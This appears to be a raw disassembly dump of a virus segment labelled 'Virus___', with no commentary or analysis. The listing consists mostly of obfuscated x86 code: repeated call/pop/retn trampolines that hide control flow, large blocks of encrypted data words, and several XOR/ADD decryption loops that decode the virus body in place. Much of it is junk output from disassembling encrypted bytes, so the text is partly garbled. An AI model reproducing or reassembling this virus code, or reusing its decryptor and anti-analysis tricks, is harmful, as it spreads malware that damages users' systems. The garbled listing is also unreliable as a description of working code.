		dd 0B1958909h, 2B095D0Fh, 56006AD2h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 69A70DA0h
		dd 0BB66CD3Fh, 33ADB4F6h, 3E8D1C2h, 4E983D0h, 8B66F475h
		dd 0AE8D8h, 0FBB70000h,	3F3F8BB0h, 9A63143h, 5830F5Fh
		dd 0BF000000h, 26523476h, 880Dh, 0B1BD8B00h, 8B095D03h
		dd 5D091995h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0D9E698A1h, 8B67661Ch, 5D13498Dh
		dd 0E7816609h, 0BD299872h, 95D1419h, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0EF805818h, 69BD83C1h, 95D31h
		dd 0A9840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0B6F5A6C3h, 233E338Fh, 49BD89D5h
		dd 0B8095D03h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5B801B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B801B	proc near		; CODE XREF: Virus___:005B8013p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5B801B	endp

; ---------------------------------------------------------------------------
		ror	dword ptr [ecx], 1
		test	[ecx+20h], ebp
		pop	ebp
		or	[ebp+5D4D928Dh], ecx
		or	[edx+0], ebp
		push	eax
		call	sub_5B8043
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8043	proc near		; CODE XREF: Virus___:005B803Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5B8043	endp

; ---------------------------------------------------------------------------
		mov	bl, 1Ah
		mov	[ebp+95D1389h],	eax
		mov	edi, [ebp+95D1481h]
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5B806E
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B806E	proc near		; CODE XREF: Virus___:005B8066p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5B806E	endp

; ---------------------------------------------------------------------------
		mov	bh, 81h
		fild	qword ptr [edx-769E8F50h]
		xchg	eax, ebp
		and	eax, 83095D21h
		mov	ebp, 95D15F9h
		add	[edi], cl
		test	[edx], bl
		add	al, 0
		add	[edx+0], ch
		push	eax
		call	sub_5B80A3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B80A3	proc near		; CODE XREF: Virus___:005B809Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5B80A3	endp

; ---------------------------------------------------------------------------
		pop	ss
		dec	esi
		popa
		adc	eax, 76EDBBA1h
		mov	[ebp+95D0CC5h],	eax
		cmp	dword ptr [ebp+95D15F9h], 1
		jz	loc_5B84CD
		jb	loc_5B80DA
		mov	[ebp+95D32ADh],	edx


loc_5B80DA:				; CODE XREF: Virus___:005B80CEj
		cmp	dword ptr [ebp+95D15F9h], 3
		jbe	loc_5B8497
		push	esi
		sbb	bh, 41h
		pop	ebx
		pusha
		push	0
		push	ecx
		call	sub_5B80F8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B80F8	proc near		; CODE XREF: Virus___:005B80F0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5B80F8	endp

; ---------------------------------------------------------------------------
		mov	word ptr [edx+66A13DB8h], fs
		mov	ecx, ds
		push	0
		push	eax
		call	sub_5B811B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B811B	proc near		; CODE XREF: Virus___:005B8113p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5B811B	endp

; ---------------------------------------------------------------------------
		sub	edi, edi
		xor	[ebp+95D1F8Dh],	edx
		and	cl, 4
		push	0
		push	eax
		call	sub_5B8141
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8141	proc near		; CODE XREF: Virus___:005B8139p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5B8141	endp

; ---------------------------------------------------------------------------
		db 9Bh,	66h, 64h
		dd 6CC4EE3Eh, 8B56A221h, 5D0FEDBDh, 0C90A5F09h,	14F840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 5D579AC3h, 5F351B63h, 890FE16Dh, 2, 8D0FA6B3h
		dd 0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+95D2C0Dh]
		cld
		xor	eax, [ebp+95D2765h]
		push	0
		push	esi
		call	sub_5B81B4
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B81B4	proc near		; CODE XREF: Virus___:005B81ACp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5B81B4	endp

; ---------------------------------------------------------------------------
		dd 25DF5F57h, 8B4A0D15h, 5D0C219Dh, 50609009h, 0FABB652h
		dd 11E831h, 0CECF0000h,	0E4B3E738h, 15088E67h, 0A6B020B2h
		dd 5E2F9E1Ah, 8E9585Ah,	5A000000h, 27CEC440h, 614182A3h
		dd 0DE85650h, 0EF000000h, 0B80016BEh, 43FCF60Bh, 533EE39Ch
		dd 5F5FDF8Bh, 759D8B90h, 66095D2Fh, 6A1432BBh, 6BF6600h
		dd 0A6C5685Ah, 0D88B4119h, 3A243481h, 6A4106A5h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 5656C350h, 0F88A2E97h, 0FAD95FFh, 8E9095Dh, 26000000h
		dd 0EB28E8A5h, 81D3D5E9h, 726238C7h, 6485893Ch,	6A0960A5h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0A459C357h, 0EB0C53C2h, 0E9E7B61Dh, 13h
		dd 0D359E917h, 97BBC302h, 7CB0363Dh, 0BAA4918Ah, 0E99F4206h
		dd 1ACh, 5C858BF5h, 6A0960A5h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 801FC355h, 0F19D897Ah
		dd 89095D11h, 5D29C1B5h, 1800C709h, 3000000h, 5D17CDBDh
		dd 60B58B09h, 6A0960A5h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0B925C350h,	10F0E90Ch
		dd 0EA3775A8h, 23EDBD8Bh, 8B66095Dh, 51858BDFh,	0E8095D31h
		dd 0Dh,	0ED65AC4Fh, 7BB4A270h, 2D0B45E9h, 13E83Ch, 0D3850000h
		dd 0F72D1C8Eh, 0C50D9EC8h, 63175899h, 91134455h, 5B5F53F3h
		dd 6A06895Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 6C3BC356h, 44C1284Eh, 0FACB8166h
		dd 0D858B54h, 0F095D2Ch, 4689F9BFh, 0CE904h, 6F200000h
		dd 64AE3769h, 8AE092C6h, 50961F1Dh, 34EF8196h, 0FF080A52h
		dd 60A55CB5h, 0E5E78009h, 25823668h, 0B2BBF63h,	34811525h
		dd 3A81C924h, 0DD9D8B63h, 0BF095D25h, 6750A08h,	0A564858Dh
		dd 0B5890960h, 95D0311h, 0E9525090h, 7,	0BF38B644h, 0F2A0110h
		dd 5B505131h, 50585A5Bh, 7870Fh, 0B9600000h, 2B0F4B46h
		dd 6A9061h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0C33E53C3h, 1999BD8Bh, 8956095Dh,	5D09D5BDh
		dd 95FF5B09h, 95D0FADh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 45C35242h, 0C5A4CA70h, 6C75E7CAh, 69DB589h
		dd 0BD01095Dh, 95D2021h, 85C7F561h, 95D15F9h, 3, 83FEB70Fh
		dd 60A564BDh, 840F0009h, 17h, 6830Fh, 95890000h, 95D003Dh
		dd 21E9h, 159D8B00h
		db 25h,	5Dh, 9
; ---------------------------------------------------------------------------


loc_5B8497:				; CODE XREF: Virus___:005B80E1j
					; Virus___:005B84AEj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5B8497
		jmp	short loc_5B84E8
; ---------------------------------------------------------------------------


loc_5B84B2:				; CODE XREF: Virus___:005B84C9j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5B84B2
		jmp	short loc_5B84E8
; ---------------------------------------------------------------------------


loc_5B84CD:				; CODE XREF: Virus___:005B80C8j
					; Virus___:005B84E4j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5B84CD
		jmp	short $+2


loc_5B84E8:				; CODE XREF: Virus___:005B84B0j
					; Virus___:005B84CBj
		mov	eax, eax
		mov	ebx, edx
		push	0
		push	eax
		call	sub_5B84F7
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B84F7	proc near		; CODE XREF: Virus___:005B84EFp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5B84F7	endp

; ---------------------------------------------------------------------------
		sti
		mov	ebx, 6969D32Dh
		add	ebx, 1B3D9A84h
		cmp	dword ptr [ebp+95D15F9h], 3
		jnz	loc_5B89F1
		push	0
		push	ebp
		call	sub_5B852B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B852B	proc near		; CODE XREF: Virus___:005B8523p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5B852B	endp

; ---------------------------------------------------------------------------
		db 0C4h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		mov	eax, 0FE144D2Ch
		inc	esp
		jnp	loc_5B854C
		mov	di, dx


loc_5B854C:				; CODE XREF: Virus___:005B8543j
		cmp	dword ptr [ebp+960A564h], 0
		jz	loc_5B89F1
		push	0
		push	ecx
		call	sub_5B8564
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8564	proc near		; CODE XREF: Virus___:005B855Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5B8564	endp

; ---------------------------------------------------------------------------
		dd 0E9828CEAh, 7, 8B7CC7Ch, 0FFFAC594h,	60A564B5h, 52006A09h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0B7B25049h, 0DE897h,	50F40000h, 46E715F7h, 6F61A8BCh
		dd 0FA481E0h, 68Ch, 0F5CF8100h,	5B27FA2Eh, 0A4195FFh, 6A095Dh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0C0F6B7C3h, 9D296A92h, 95D0415h, 0A558B58Bh,	6A0960h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 2E0294C3h, 95BF661Ah, 15B589CFh, 0C7095D2Bh,	1000106h
		dd 61BD8B00h, 96095D1Fh, 4B85060h, 585CA8F7h, 0CDB75061h
		dd 50006A96h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 2800F29h, 8B000000h, 64B5FFFBh, 6A0960A5h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 6151C351h, 6B1C0C36h, 0FFAA85FFh,	5D05FD95h
		dd 55006A09h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 75077B5Ah, 27B378Ch, 2840FDBh, 8B000000h
		dd 58B58BDFh, 6A0960A5h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 6EC2C355h, 0A9FEF3F2h
		dd 958912A9h, 95D0879h,	304D858Bh, 10E8095Dh, 73000000h
		dd 0AD88DD83h, 0FCF5C43Dh, 6DF6DA48h, 5073E612h, 5FDBB70Fh
		dd 0C486895Bh, 80000000h, 958B23E7h, 95D0919h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7AC35242h, 899727F2h
		dd 5D03E1BDh, 0FE8B6609h, 6A04C283h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0B679C357h
		dd 0BF0F275Bh, 205089FBh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 29C35141h, 9E9h, 0A5CF500h, 0F9B4722h
		dd 8D898511h, 95D1AADh,	0BBC1858Dh, 6A0960h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 13E632C3h
		dd 0F49963Bh, 28Bh, 89DA8B00h, 0B886h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 0D2101A58h, 0DF765AA1h, 0D9BD8972h, 6A095D2Eh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 7789906Eh, 932ECDB7h, 3880FF1h, 0F000000h, 0B5FFD8BFh
		dd 960A564h, 0FFFE8B66h, 5D14C995h, 50006A09h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0F176641Eh
		dd 52505A55h, 895FF98Bh, 0BD8B2434h, 95D08FDh, 12F5BD29h
		dd 0B5FF095Dh, 960A564h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 52C35545h, 2B24F137h,	0B0E0F81Eh, 11219D03h
		dd 95FF095Dh, 95D137Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 44C35646h, 36BD8D6Fh,	13564A30h, 0AE8ABh
		dd 22C70000h, 0B38AD662h, 0C0A8E99h, 5BD88B66h,	5E8h, 0F31BD100h
		dd 9D8B7631h, 95D2F7Dh,	0D1BD835Fh, 95D19h, 0E840Fh, 0FE8B0000h
		dd 0BF665096h, 0BB968A5Eh, 373052AAh, 0A564B5FFh, 12E90960h
		dd 7C000000h, 54921221h, 0E9DA5D4Ch, 2CDADE46h,	0B0E651F7h
		dd 9595FF4Ch, 80095D2Fh, 0B5FF0BC7h, 960A564h, 0F5ADBF66h
		dd 179595FFh, 8A0F095Dh, 2, 0BD834FB3h,	95D0B11h, 8E840F02h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0D375C355h, 3126433Eh,	5D251DBDh
		dd 15858B09h, 0F095D22h, 0C88h,	6840F00h, 89000000h, 5D02D595h
		dd 0C609h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0F5C35646h, 0FD8F20F7h,	6FD38129h, 607CD3E1h, 8E9h
		dd 0C4DFF800h, 5979A00Fh, 12E9C3h, 4D880000h, 88AB5018h
		dd 5C0CF6DBh, 2BBDA0F3h, 46113E31h, 4585C761h, 95D05h
		dd 8B000000h, 5D2831BDh
		db 9
; ---------------------------------------------------------------------------


loc_5B89F1:				; CODE XREF: Virus___:005B851Aj
					; Virus___:005B8553j
		jmp	loc_5B7D20
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5B8A01
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8A01	proc near		; CODE XREF: Virus___:005B89F9p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5B8A01	endp

; ---------------------------------------------------------------------------
		db 51h,	14h, 0E2h
		dd 802183D7h, 0C18BEBEBh, 3395B501h, 858D095Dh,	95D2239h
		dd 10B58D09h, 0BF50095Dh, 18D8CFC9h, 6A240489h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0C3F2C357h, 959D8B2Bh, 6A095D12h, 29858900h,	6A095D27h
		dd 0FBBB6600h, 9858D2Dh, 570961E1h, 0C1B58951h,	5B095D26h
		dd 5C0835Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	67C35545h, 3AE20997h, 0A5BD0366h, 90095D06h, 5050FC8Ah
		dd 8166905Fh, 6A8872C3h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 801F1A61h, 11E956h, 0D4100000h
		dd 0A1F99904h, 0E5D647B7h, 54332D20h, 5BBB35AFh, 5B2D67BFh
		dd 6A006A17h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 1080C352h, 7813BD18h, 0BA6B39CDh
		dd 0FE8h, 0F45A2F00h, 0B189C24Ah, 61F9D97Dh, 0DFA8BACEh
		dd 23E5BD89h, 0FF5F095Dh, 5D085195h, 55006A09h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0F5CDDCBCh
		dd 8D62B38Bh, 60914C8Dh, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0D1FF717Dh, 0C0D28160h
		dd 0E948BE31h, 0Bh, 7A2AB869h, 33E652F5h, 613C84E7h, 971BD83h
		dd 0F01095Dh, 9885h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 8BF1B4B0h, 6E8EEh, 7F300000h
		dd 85D7E423h, 246D8D29h, 665F095Dh, 26AFE8Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 6DC35242h, 8BF88B93h
		dd 5D1021BDh, 4895009h,	5D9D8B24h, 0FF095D2Ah, 5D14C995h
		dd 52006A09h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0E942E643h, 9, 10007E16h, 98CEEF98h, 0DD0E94Dh
		dd 0E80000h, 5D000000h,	0E113ED81h, 6A0961h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0A130B3C3h
		dd 973798C8h, 602CE819h, 144D9D03h, 8509095Dh, 95D0B15h
		dd 52006A61h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 3E0811A8h, 8BC6C02Ah, 0E2858DFAh, 0F509608Ah
		dd 50F8BF0Fh, 48998B3h,	57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 5501F5A3h, 66E8DBEAh
		dd 6484EB81h, 35FF64h, 0F000000h, 786h,	81666000h, 61052FC8h
		dd 258964h, 60000000h, 5E8h, 577A7C00h,	616008BDh, 0A9858958h
		dd 61095D10h, 216985FFh, 6A095Dh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8B6FBBC3h, 5D2AA19Dh
		dd 178A0F09h, 0E8000000h, 0Dh, 0DB4349AFh, 0BC7BF963h
		dd 6C09598Fh, 89BF6634h, 0FF6A5B2Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0DC35747h, 15C9267Fh, 0D78135F9h
		dd 61A26BAFh, 38DB5FFh,	6A095Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 23EB0C3h, 4EBB66h, 38595FFh
		dd 3AE9095Dh, 0F000001h, 689h, 0DDBD8B00h, 0B0095D09h
		dd 0BD8D2900h, 0E6095D03h, 459D8B70h, 0E4095D21h, 3CF98A71h
		dd 12830F61h, 0E9000001h, 0Eh, 4A52D129h, 855D9970h, 28B97940h
		dd 0B60FFA02h, 319D8BC8h, 0BA095D33h, 6, 8166C18Bh, 0F12B8DBh
		dd 0E8C1FFBFh, 12E904h,	33DF0000h, 0DED0BC8Eh, 81EFD13Ch
		dd 2FFFF5D9h, 8957D6B9h, 0BBE2F766h, 41F228B6h,	0B70FC82Bh
		dd 6860FD9h, 60000000h,	0AFB7C88Ah, 0E9D18B61h,	0ADh, 0AE8h
		dd 0FDDC4C00h, 8AFAF8A8h, 1F5960Fh, 5D1825BDh, 858B5B09h
		dd 5F4C4C44h, 48D0Fh, 0BF660000h, 0C083C581h, 399D8907h
		dd 83095D21h, 0BD8B00C0h, 95D0BD9h, 830FD03Bh, 1Bh, 68E9h
		dd 9D8D8900h, 0F095D33h, 0A84h,	48C0F00h, 66000000h, 8BF5D1BBh
		dd 0FFFFFF8Dh, 0D99589FFh, 83095D03h
		db 0E1h
dword_5B8EA1	dd 3D840F01h			align 4
		mov	ebx, [ebp+95D0819h]
		and	dword ptr [ebp-1], 0FFFFFFFEh
		jmp	loc_5B8ECE
; ---------------------------------------------------------------------------
		dw 8CAEh
		dd 0F3E1E286h, 0A88FA597h, 33CF275Ah, 5842E9FEh
; ---------------------------------------------------------------------------
		movs	dword ptr es:[edi], dword ptr ss:[esi]


loc_5B8ECE:				; CODE XREF: Virus___:005B8EB5j
		mov	[ebp+5F4C4C44h], edx
		call	sub_5B8EDF
		lodsb
		pop	es
		lodsb
		fisttp	qword ptr [ebx+2]

; =============== S U B	R O U T	I N E =======================================



sub_5B8EDF	proc near		; CODE XREF: Virus___:005B8ED4p
		pop	edi
		jmp	$+5
		lea	esi, [ebp+9615192h]
		push	0
		push	ebp
		call	sub_5B8EF6
		and	[ebp-3Dh], bl
sub_5B8EDF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B8EF6	proc near		; CODE XREF: sub_5B8EDF+Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5B8EF6	endp

; ---------------------------------------------------------------------------
		dw 8B44h
; ---------------------------------------------------------------------------
		fsubr	dword ptr [edx+0]
		push	0
		push	ecx
		call	sub_5B8F16
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8F16	proc near		; CODE XREF: Virus___:005B8F0Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5B8F16	endp

; ---------------------------------------------------------------------------
		cli
		add	ah, [ecx+ecx+5D1941BDh]
		or	[edi], ecx
		mov	edi, 0EEA8BBDAh
		mov	eax, ds:0B195FF25h
		adc	[ebp+9], ebx
		push	0
		push	ebp
		call	sub_5B8F48
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8F48	proc near		; CODE XREF: Virus___:005B8F40p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5B8F48	endp

; ---------------------------------------------------------------------------
		and	esp, ebx
		ja	short loc_5B8FC2
		mov	ebx, 61B94B21h
		adc	[eax], al
		add	[eax-7], ah
		mov	edi, [ebp+95D0CDDh]
		popa
		and	ecx, 0FFFFFFFCh
		add	bx, 361Eh
		cld
		push	0
		push	edi
		call	sub_5B8F81
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8F81	proc near		; CODE XREF: Virus___:005B8F79p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5B8F81	endp

; ---------------------------------------------------------------------------
		db 3Eh,	0F0h, 1Fh
; ---------------------------------------------------------------------------
		mov	eax, 0
		mov	[ebp+95D10B5h],	edi
		mov	edx, 0
		push	0
		push	ebp
		call	sub_5B8FAF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8FAF	proc near		; CODE XREF: Virus___:005B8FA7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5B8FAF	endp

; ---------------------------------------------------------------------------
		db 67h
; ---------------------------------------------------------------------------
		jge	short loc_5B9041


loc_5B8FC2:				; CODE XREF: Virus___:005B8F5Aj
		setalc
		int	57h
		db	26h
		push	ecx
		jmp	loc_5B8FE0
; ---------------------------------------------------------------------------
		dd 0AF024773h, 939CB53h, 1D0AD90Ch, 51C7FA9Fh, 5B211796h
; ---------------------------------------------------------------------------


loc_5B8FE0:				; CODE XREF: Virus___:005B8FC7j
		mov	di, 5B3Fh


loc_5B8FE4:				; CODE XREF: Virus___:005B8FEEj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5B8FE4
		push	0
		push	ebx
		call	sub_5B8FFB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8FFB	proc near		; CODE XREF: Virus___:005B8FF3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5B8FFB	endp

; ---------------------------------------------------------------------------
		db 0F9h
		dd 565F9860h, 8C0FBD1Eh, 0
; ---------------------------------------------------------------------------
		mov	di, 58h
		or	eax, 88h
		push	0
		push	ebx
		call	sub_5B902C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B902C	proc near		; CODE XREF: Virus___:005B9024p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5B902C	endp

; ---------------------------------------------------------------------------
		dd 958B46AFh
		db 19h
; ---------------------------------------------------------------------------


loc_5B9041:				; CODE XREF: Virus___:005B8FC0j
		or	[ebp+9], ebx
		mov	ebx, [ebp+95D2B85h]
		mov	ecx, [ebp+95D1349h]
		mov	edi, 114866B2h
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		sub	[ebp+95D04F5h],	esi
		mov	bx, 0AF99h
		cmp	dword ptr [ebp+95D3169h], 0
		jz	loc_5B9108
		push	0
		push	ecx
		call	sub_5B9089
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9089	proc near		; CODE XREF: Virus___:005B9081p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5B9089	endp

; ---------------------------------------------------------------------------
		db 0A2h, 0Fh, 84h
		dd 6, 9A59D29h,	0B8095Dh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 566AC356h
		dd 867CCC73h, 5C765952h, 81DFBF0Fh, 0E080DFC7h,	928D8D6Ch
		dd 66095D4Dh, 0FF4717BBh, 53006AE1h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 85296F6Dh
		dd 95D040Dh
; ---------------------------------------------------------------------------


loc_5B9108:				; CODE XREF: Virus___:005B9078j
		cmp	dword ptr [ebp+95D15F9h], 0
		jz	loc_5B9533
		push	0
		push	ebx
		call	sub_5B9120
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9120	proc near		; CODE XREF: Virus___:005B9118p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5B9120	endp

; ---------------------------------------------------------------------------
		dd 6EB4E723h, 0E90BDDECh, 11h, 2D9410ACh, 0D93F155Fh, 9345C10Bh
		dd 418779D6h, 0F9BD8318h, 1095D15h, 3F4840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0D11834C3h, 9D8B6C13h, 95D03F1h, 0BD83DE8Bh,	95D15F9h
		dd 89860F03h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0AB64C356h,	1D31A8ECh
		dd 810F5474h, 4, 8CA6BB66h, 0F19D8B60h,	66095D2Eh, 0CF80D98Ch
		dd 4E180B6h, 0C90AD88Ah, 0F0840Fh, 6A0000h, 3E857h, 5F200000h
